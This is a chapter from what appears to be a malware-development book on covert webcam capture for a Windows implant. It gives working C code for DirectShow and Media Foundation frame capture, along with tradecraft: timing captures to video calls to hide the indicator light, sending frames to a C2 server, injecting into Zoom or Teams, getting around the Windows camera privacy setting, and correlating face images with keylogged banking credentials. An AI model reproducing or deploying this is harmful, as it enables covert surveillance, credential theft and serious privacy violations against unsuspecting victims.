Chapter 75

Webcam Capture

Webcam access provides something no screen recorder can: who is physically present at the machine. This confirms identities, reveals the physical environment (office, home office, server room), and captures faces for biometric identification. The engineering challenges are: enumerating camera devices without appearing in the user-facing camera list, capturing a frame without triggering the camera indicator light, and doing so with the two primary Windows camera APIs — DirectShow (compatible with everything) and Media Foundation (modern, higher quality).

DirectShow Camera Enumeration and Capture

/* webcam_directshow.c — Enumerate and capture from webcam using DirectShow
   
   DirectShow is COM-based, available since Windows XP.
   The pipeline: Source filter (camera) → Sample Grabber → Null Renderer
   We attach a custom callback to Sample Grabber to receive raw frames.
*/

#define COBJMACROS
#include <windows.h>
#include <dshow.h>
#include <qedit.h>    /* ISampleGrabber, ISampleGrabberCB */
#pragma comment(lib, "strmiids.lib")

/* ── Enumerate connected video capture devices ────────────────────── */

typedef struct {
    WCHAR friendly_name[256];
    WCHAR device_path[512];
    IMoniker *moniker;
} WebcamDevice;

#define MAX_CAMERAS 8
static WebcamDevice g_cameras[MAX_CAMERAS];
static DWORD        g_camera_count = 0;

BOOL enumerate_cameras(void) {
    ICreateDevEnum *dev_enum = NULL;
    IEnumMoniker   *moniker_enum = NULL;

    CoInitialize(NULL);
    CoCreateInstance(&CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
                     &IID_ICreateDevEnum, (void**)&dev_enum);

    /* Video Capture Devices category */
    dev_enum->lpVtbl->CreateClassEnumerator(dev_enum,
        &CLSID_VideoInputDeviceCategory, &moniker_enum, 0);

    if (!moniker_enum) {
        dev_enum->lpVtbl->Release(dev_enum);
        return FALSE;  /* No cameras */
    }

    IMoniker *moniker = NULL;
    ULONG fetched = 0;
    g_camera_count = 0;

    while (moniker_enum->lpVtbl->Next(moniker_enum, 1, &moniker, &fetched) == S_OK
           && g_camera_count < MAX_CAMERAS) {
        WebcamDevice *cam = &g_cameras[g_camera_count];
        cam->moniker = moniker;

        /* Get property bag to read device metadata */
        IPropertyBag *prop_bag = NULL;
        moniker->lpVtbl->BindToStorage(moniker, NULL, NULL,
                                        &IID_IPropertyBag, (void**)&prop_bag);
        if (prop_bag) {
            VARIANT var = {.vt = VT_BSTR};
            if (SUCCEEDED(prop_bag->lpVtbl->Read(prop_bag, L"FriendlyName", &var, NULL)))
                wcsncpy(cam->friendly_name, var.bstrVal, 255);
            VariantClear(&var);
            if (SUCCEEDED(prop_bag->lpVtbl->Read(prop_bag, L"DevicePath", &var, NULL)))
                wcsncpy(cam->device_path, var.bstrVal, 511);
            VariantClear(&var);
            prop_bag->lpVtbl->Release(prop_bag);
        }
        printf("[*] Camera %lu: %ls\n", g_camera_count, cam->friendly_name);
        g_camera_count++;
    }

    moniker_enum->lpVtbl->Release(moniker_enum);
    dev_enum->lpVtbl->Release(dev_enum);
    return g_camera_count > 0;
}

/* ── Sample Grabber callback — receives frame data ─────────────────── */

typedef struct {
    ISampleGrabberCBVtbl *lpVtbl;
    LONG                  ref_count;
    BYTE                 *frame_data;
    DWORD                 frame_len;
    BOOL                  frame_ready;
    CRITICAL_SECTION      lock;
} SampleGrabberCallback;

static HRESULT STDMETHODCALLTYPE sgcb_QueryInterface(ISampleGrabberCB *this,
    REFIID riid, void **ppv) {
    if (IsEqualIID(riid, &IID_IUnknown) || IsEqualIID(riid, &IID_ISampleGrabberCB)) {
        *ppv = this; return S_OK;
    }
    *ppv = NULL; return E_NOINTERFACE;
}
static ULONG STDMETHODCALLTYPE sgcb_AddRef (ISampleGrabberCB *this) { return 1; }
static ULONG STDMETHODCALLTYPE sgcb_Release(ISampleGrabberCB *this) { return 1; }
static HRESULT STDMETHODCALLTYPE sgcb_SampleCB(ISampleGrabberCB *this,
    double sample_time, IMediaSample *sample) { return S_OK; }
static HRESULT STDMETHODCALLTYPE sgcb_BufferCB(ISampleGrabberCB *this,
    double sample_time, BYTE *buffer, long buf_len) {
    SampleGrabberCallback *cb = (SampleGrabberCallback*)this;
    EnterCriticalSection(&cb->lock);
    if (!cb->frame_ready) {
        cb->frame_data = (BYTE*)VirtualAlloc(NULL, buf_len,
                                              MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
        if (cb->frame_data) {
            memcpy(cb->frame_data, buffer, buf_len);
            cb->frame_len   = buf_len;
            cb->frame_ready = TRUE;
        }
    }
    LeaveCriticalSection(&cb->lock);
    return S_OK;
}

static ISampleGrabberCBVtbl g_sgcb_vtbl = {
    sgcb_QueryInterface, sgcb_AddRef, sgcb_Release, sgcb_SampleCB, sgcb_BufferCB
};

/* ── Capture a single still frame from camera index ─────────────────── */

BOOL capture_webcam_frame(DWORD camera_index, BYTE **out_data, DWORD *out_len) {
    if (camera_index >= g_camera_count) return FALSE;

    IGraphBuilder *graph   = NULL;
    ICaptureGraphBuilder2 *cap_build = NULL;
    IBaseFilter  *cam_filter = NULL;
    IBaseFilter  *grab_filter = NULL;
    ISampleGrabber *grabber   = NULL;
    IBaseFilter  *null_rend   = NULL;
    IMediaControl *media_ctrl = NULL;
    BOOL success = FALSE;

    CoCreateInstance(&CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
                     &IID_IGraphBuilder, (void**)&graph);
    CoCreateInstance(&CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC_SERVER,
                     &IID_ICaptureGraphBuilder2, (void**)&cap_build);
    cap_build->lpVtbl->SetFiltergraph(cap_build, graph);

    /* Bind camera device moniker to a filter */
    g_cameras[camera_index].moniker->lpVtbl->BindToObject(
        g_cameras[camera_index].moniker, NULL, NULL,
        &IID_IBaseFilter, (void**)&cam_filter);
    graph->lpVtbl->AddFilter(graph, cam_filter, L"Camera");

    /* Sample Grabber — captures frames */
    CoCreateInstance(&CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
                     &IID_IBaseFilter, (void**)&grab_filter);
    graph->lpVtbl->AddFilter(graph, grab_filter, L"Grabber");
    grab_filter->lpVtbl->QueryInterface(grab_filter, &IID_ISampleGrabber,
                                         (void**)&grabber);

    /* Set media type: 24-bit RGB video */
    AM_MEDIA_TYPE mt = {0};
    mt.majortype  = MEDIATYPE_Video;
    mt.subtype    = MEDIASUBTYPE_RGB24;
    mt.formattype = FORMAT_VideoInfo;
    grabber->lpVtbl->SetMediaType(grabber, &mt);
    grabber->lpVtbl->SetOneShot(grabber, TRUE);   /* Capture ONE frame then stop */
    grabber->lpVtbl->SetBufferSamples(grabber, TRUE);

    /* Set our callback */
    SampleGrabberCallback cb = {.lpVtbl = &g_sgcb_vtbl, .ref_count = 1};
    InitializeCriticalSection(&cb.lock);
    grabber->lpVtbl->SetCallback(grabber, (ISampleGrabberCB*)&cb, 1); /* 1 = BufferCB */

    /* Null Renderer — needed to complete the graph, discards output */
    CoCreateInstance(&CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER,
                     &IID_IBaseFilter, (void**)&null_rend);
    graph->lpVtbl->AddFilter(graph, null_rend, L"NullRenderer");

    /* Auto-connect: Camera → SampleGrabber → NullRenderer */
    cap_build->lpVtbl->RenderStream(cap_build,
        &PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video,
        cam_filter, grab_filter, null_rend);

    /* Run the graph — camera activates, one frame is captured */
    graph->lpVtbl->QueryInterface(graph, &IID_IMediaControl, (void**)&media_ctrl);
    media_ctrl->lpVtbl->Run(media_ctrl);

    /* Wait up to 3 seconds for one frame */
    for (int i = 0; i < 30; i++) {
        Sleep(100);
        EnterCriticalSection(&cb.lock);
        if (cb.frame_ready) {
            *out_data = cb.frame_data;
            *out_len  = cb.frame_len;
            success   = TRUE;
        }
        LeaveCriticalSection(&cb.lock);
        if (success) break;
    }

    media_ctrl->lpVtbl->Stop(media_ctrl);
    /* Release all COM objects */
    if (media_ctrl)  media_ctrl->lpVtbl->Release(media_ctrl);
    if (grabber)     grabber->lpVtbl->Release(grabber);
    if (grab_filter) grab_filter->lpVtbl->Release(grab_filter);
    if (null_rend)   null_rend->lpVtbl->Release(null_rend);
    if (cam_filter)  cam_filter->lpVtbl->Release(cam_filter);
    if (cap_build)   cap_build->lpVtbl->Release(cap_build);
    if (graph)       graph->lpVtbl->Release(graph);
    DeleteCriticalSection(&cb.lock);
    return success;
}

The Camera Indicator Light Problem

Can you disable the indicator light? — the honest answer
  The camera indicator light (the small LED next to the lens) is designed
  to be impossible to disable from software.
  ─────────────────────────────────────────────────────────────────────────
  On MOST consumer laptops:
    The LED is hardwired to the camera's USB power line or a dedicated
    GPIO on the camera module. The driver has NO way to control it.
    Camera on → LED on. No exceptions. This is a deliberate security design.
    
  On SOME older laptops and webcams:
    The LED IS driver-controlled. Old Lenovo, HP, and some standalone USB
    webcams have a "LED" property exposed via DirectShow or registry.
    These are increasingly rare (mostly pre-2015 hardware).
    
  The real mitigation strategies:
  ─────────────────────────────────────────────────────────────────────────
  1. TIMING: Capture during video call sessions.
     When the user is on a Zoom/Teams/Meet call, THEIR camera is already
     active. The indicator light is already on. Take your frame then.
     Wait for processes: Teams.exe, Zoom.exe, chrome.exe with camera access.
     Use this: poll OpenProcess() for these process names, then capture.
  
  2. RAPID SINGLE FRAME: The camera often takes 300-500ms to initialize
     before the LED turns on in some implementations.
     SetOneShot(TRUE) → Run → capture first frame → Stop in <200ms.
     On some hardware, the LED lags behind actual sensor activation.
     This is unreliable and hardware-dependent.
  
  3. ACCEPT THE RISK: For high-value targets, the intelligence value of
     confirming physical presence may outweigh the OPSEC risk of a brief
     LED flash. One unexpected blink is easily dismissed as "glitch."
  
  DETECTION BY TARGET:
    A security-aware user watching their camera light will notice.
    Sophisticated users use camera covers (laptop stickers over the lens).
    Physical camera covers defeat all software-based capture.
    For targets with camera covers: skip webcam, focus on screen + audio.

Media Foundation Path (Windows 7+)

/* webcam_mf.c — Media Foundation alternative to DirectShow
   
   Media Foundation is the modern replacement for DirectShow.
   Simpler API for camera capture: IMFSourceReader does enumeration
   + capture in a unified interface.
*/
#include <windows.h>
#include <mfapi.h>
#include <mfidl.h>
#include <mfreadwrite.h>
#pragma comment(lib, "mf.lib")
#pragma comment(lib, "mfplat.lib")
#pragma comment(lib, "mfreadwrite.lib")
#pragma comment(lib, "mfuuid.lib")

BOOL capture_webcam_mf(BYTE **out_pixels, DWORD *out_len,
                        DWORD *out_width, DWORD *out_height) {
    MFStartup(MF_VERSION, MFSTARTUP_NOSOCKET);

    /* Enumerate video capture devices */
    IMFAttributes *attr = NULL;
    MFCreateAttributes(&attr, 1);
    attr->lpVtbl->SetGUID(attr, &MF_DEVSOURCE_ATTRIBUTE_SOURCE_TYPE,
                           &MF_DEVSOURCE_ATTRIBUTE_SOURCE_TYPE_VIDCAP_GUID);

    IMFActivate **devices = NULL;
    UINT32 count = 0;
    MFEnumDeviceSources(attr, &devices, &count);
    if (count == 0) { attr->lpVtbl->Release(attr); MFShutdown(); return FALSE; }

    /* Activate first camera */
    IMFMediaSource *source = NULL;
    devices[0]->lpVtbl->ActivateObject(devices[0], &IID_IMFMediaSource, (void**)&source);

    /* Create SourceReader — simplest way to read camera frames */
    IMFSourceReader *reader = NULL;
    MFCreateSourceReaderFromMediaSource(source, NULL, &reader);

    /* Configure output format: RGB32 */
    IMFMediaType *output_type = NULL;
    MFCreateMediaType(&output_type);
    output_type->lpVtbl->SetGUID(output_type, &MF_MT_MAJOR_TYPE, &MFMediaType_Video);
    output_type->lpVtbl->SetGUID(output_type, &MF_MT_SUBTYPE, &MFVideoFormat_RGB32);
    reader->lpVtbl->SetCurrentMediaType(reader,
        (DWORD)MF_SOURCE_READER_FIRST_VIDEO_STREAM, NULL, output_type);

    /* Read one sample (one video frame) */
    IMFSample *sample = NULL;
    DWORD stream_flags = 0;
    LONGLONG timestamp = 0;
    BOOL success = FALSE;
    
    /* Read frames until we get a real one (first few may be blank) */
    for (int attempt = 0; attempt < 10; attempt++) {
        if (sample) { sample->lpVtbl->Release(sample); sample = NULL; }
        reader->lpVtbl->ReadSample(reader,
            (DWORD)MF_SOURCE_READER_FIRST_VIDEO_STREAM,
            0, NULL, &stream_flags, ×tamp, &sample);
        if (sample) break;
        Sleep(50);
    }

    if (sample) {
        IMFMediaBuffer *buf = NULL;
        sample->lpVtbl->ConvertToContiguousBuffer(sample, &buf);
        
        BYTE *raw = NULL; DWORD raw_len = 0, max_len = 0;
        buf->lpVtbl->Lock(buf, &raw, &max_len, &raw_len);
        
        *out_pixels = (BYTE*)VirtualAlloc(NULL, raw_len,
                                           MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
        if (*out_pixels) {
            memcpy(*out_pixels, raw, raw_len);
            *out_len = raw_len;
            success  = TRUE;
        }
        
        buf->lpVtbl->Unlock(buf);
        buf->lpVtbl->Release(buf);
        sample->lpVtbl->Release(sample);
    }

    /* Get actual resolution from current media type */
    IMFMediaType *cur_type = NULL;
    reader->lpVtbl->GetCurrentMediaType(reader,
        (DWORD)MF_SOURCE_READER_FIRST_VIDEO_STREAM, &cur_type);
    if (cur_type) {
        UINT32 w = 0, h = 0;
        MFGetAttributeSize(cur_type, &MF_MT_FRAME_SIZE, &w, &h);
        *out_width  = w;
        *out_height = h;
        cur_type->lpVtbl->Release(cur_type);
    }

    /* Cleanup */
    output_type->lpVtbl->Release(output_type);
    reader->lpVtbl->Release(reader);
    source->lpVtbl->Release(source);
    for (UINT32 i = 0; i < count; i++) devices[i]->lpVtbl->Release(devices[i]);
    CoTaskMemFree(devices);
    attr->lpVtbl->Release(attr);
    MFShutdown();
    return success;
}

Questions & Answers

How do you determine which camera to target when a laptop has multiple cameras (front-facing, external, IR)?

Enumerate all cameras with enumerate_cameras() and select by friendly name heuristics: front-facing webcams typically have names containing "Front", "Integrated", "Built-in", or the laptop manufacturer name. Infrared cameras (used for Windows Hello face recognition) have "IR" in the name and produce near-infrared frames that look like low-contrast black-and-white images. External USB cameras have names from the manufacturer (Logitech, Microsoft LifeCam, etc.). Target priority: (1) Integrated/built-in front camera — captures the user's face, (2) External USB camera — may have better quality, (3) Skip IR cameras unless you have a specific reason. If you want to capture from all cameras: loop through g_cameras, skip any with "IR" in the name, and capture from all remaining. Label each frame with the camera friendly_name when sending to C2 so the operator knows which camera it came from.

How do you detect that a legitimate application is already using the camera, and can you coexist with it?

Some camera drivers allow multiple concurrent readers (software sharing), others do not (exclusive access). When you try to create a source reader or activate the DirectShow filter for a camera already in use, you get an error: MF returns MF_E_HW_MFT_FAILED_START_STREAMING, DirectShow returns VFW_E_DEVICE_IN_USE. Detection: call ActivateObject and check the return — if it fails, a camera is in use. From an OPSEC perspective: capturing while the camera is already in use (during a video call) is ideal — the LED is already on, the user expects the camera to be active. The engineering problem: on cameras with exclusive access, you need to capture before the call app does, or use a different method. One approach: inject into the process that currently owns the camera (Zoom.exe, Teams.exe) and sample frames from within that process using its existing camera handle, bypassing the exclusive-access issue entirely. This requires process injection (Ch27-28) and makes the webcam capture a sub-feature of the DLL injection capability.

What resolution and format should you request for a covert capture?

Request the lowest resolution that still captures faces clearly: 640×480 is sufficient for facial identification. Higher resolutions (1280×720, 1920×1080) produce larger data volumes and take longer to capture (the sensor runs warmer, briefly brighter LED in those rare cases where LED intensity is sensor-power-linked). Use RGB24 or RGB32 as the output format — simpler to wrap in a BMP for transmission. After capture, compress to JPEG at quality 85: a 640×480 JPEG face capture is typically 30-60KB, manageable in a single chunk. If you need higher resolution for identifying the physical environment (office layout, visible documents, second monitor content), request 1280×720. Request available resolutions by enumerating media types from the stream: reader->lpVtbl->GetNativeMediaType() iterates through all supported resolutions — pick the one closest to your target size without going below it.

How does Windows Privacy dashboard affect your camera access, and can you bypass it?

Windows 10/11 has a camera privacy setting (Settings → Privacy & Security → Camera) that, when disabled, blocks all application camera access. The enforcement happens in the camera driver stack — apps that request camera access receive MF_E_MEDIA_SOURCE_NO_STREAMS_AVAILABLE or similar errors. This is kernel-enforced, not a userland policy. Bypassing from userland is not straightforward. However: (1) The privacy setting is per-user and per-app; if your agent runs as a different user (e.g., via token theft to SYSTEM), the SYSTEM account may not have the same restrictions. (2) Some older camera drivers don't implement the privacy API correctly and respond to the setting inconsistently. (3) The privacy setting is stored in HKCU\Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager — it can be modified if you have registry write access to that key, though the change may require restarting the camera service to take effect. The most reliable approach: run the camera capture in a process context (injected into a browser or Teams) that already has camera permission granted.

How do you synchronize webcam capture with keylog and screen data to build a correlated intelligence timeline?

Every capture type should include a common timestamp: GetTickCount() since agent start, or a Unix timestamp from GetSystemTimeAsFileTime(). In the C2's intelligence database, correlate by time window: "at 14:32:15, the screen showed the banking login page (screenshot), the user typed [email+password] (keylog), and the webcam shows [person's face] (webcam)." This correlated record proves: who (face), what they did (keylog), and what they saw (screenshot). Implementation: maintain a global session timestamp reference (first time the agent connects to C2 becomes T=0). All result frames include T-offset. On the C2 side, display results in a timeline view sorted by timestamp, correlating across capability types. When the keylogger detects a window context switch to a browser login page, immediately trigger both a screenshot (Ch73) and a webcam capture (Ch75) with matching timestamps — this ensures the intelligence triple (face + screen + keystrokes) is captured atomically.